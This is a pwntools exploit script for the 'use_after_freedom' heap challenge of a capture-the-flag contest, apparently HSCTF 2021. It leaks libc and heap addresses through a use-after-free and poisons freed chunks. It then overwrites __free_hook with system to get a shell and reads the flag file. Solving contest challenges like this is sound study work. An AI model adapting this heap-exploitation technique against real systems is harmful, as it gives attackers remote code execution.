use after freedom

#!/usr/bin/env python3
from pwn import *
import argparse
import os

# alias "pwninit"="pwninit --template-path=~/tools/ctf/scripts/pwn/pwninit/base.py"

exe = ELF("./use_after_freedom", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so", checksec=False)
ld = ELF("/lib/x86_64-linux-gnu/ld-2.27.so", checksec=False)
REMOTE_SERVER = "use-after-freedom.hsc.tf"
REMOTE_PORT = 1337

GDB_SCRIPT = """
handle SIGALRM ignore
tracemalloc on
breakrva 0x10EB /root/ctf/hsctf21/useafterfreedom/use_after_freedom
"""

context.binary = exe

def get_process(is_remote=None):
    if is_remote:
        p = remote(REMOTE_SERVER, REMOTE_PORT)
    else:
        p = process([exe.path], env={"LD_PRELOAD": libc.path})
    return p

def attach_gdb(p, remote=None):
    if not remote:
        gdb.attach(p, gdbscript=GDB_SCRIPT)

def create(p, size, data=''):
    p.sendlineafter('> ', '1')
    p.sendlineafter('> ', str(size))
    p.sendlineafter('> ', data)

def delete(p, idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('> ', str(idx))

def edit(p, idx, data):
    p.sendlineafter('> ', '3')
    p.sendlineafter('> ', str(idx))
    p.sendafter('> ', data)

def show(p, idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('> ', str(idx))


if __name__ == '__main__':
    count = 0
    while 1:
        count += 1
        parser = argparse.ArgumentParser()
        parser.add_argument("-r", "--remote", action='store_true', dest='remote', help="Run in remote")
        args = parser.parse_args()

        p = get_process(args.remote)


        try:
            print("Round number", count)
            create(p, 0x418, 'AAAABBBB')
            create(p, 0x18, '/bin/sh\0')

            delete(p, 0)
            show(p, 0)
            leakh = u64(p.recvline()[:-1].ljust(8, b'\x00'))# - 0x7faaacba0ca0
            libc.address = leakh - 0x3ebca0
            success(hex(leakh))
            success(hex(libc.address))

            delete(p, 1)
            edit(p, 1, "C"*8)
            show(p, 1)
            p.recvuntil("C"*8)
            leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
            success(hex(leak))

            target = (leak & 0xfffff0000000) + 0x479f001 # 0x5607a479f001
            success(hex(target))
            edit(p, 0, p64(leakh) + p64(target))
            p.sendlineafter('> ', '1')
            p.sendlineafter('> ', str(0x418))
            p.sendlineafter("> ","E"*8)
            print("LOLLLL")
            # attach_gdb(p, args.remote)
            edit(p, 1, p64(libc.sym['__free_hook']))
            create(p, 0x18, '/bin/sh\0')
            create(p, 0x18, p64(libc.sym.system))
            delete(p, 4)
            print("DM ", count)
            p.recv()
            p.sendline("ls -la")
            p.sendline("cat f*")
            r = p.recv()
            with open('out.txt', 'wb+') as f:
                f.write(r)
            break
        except KeyboardInterrupt:
            p.close()
            break
        except:
            print("FAILLLL")
            p.close()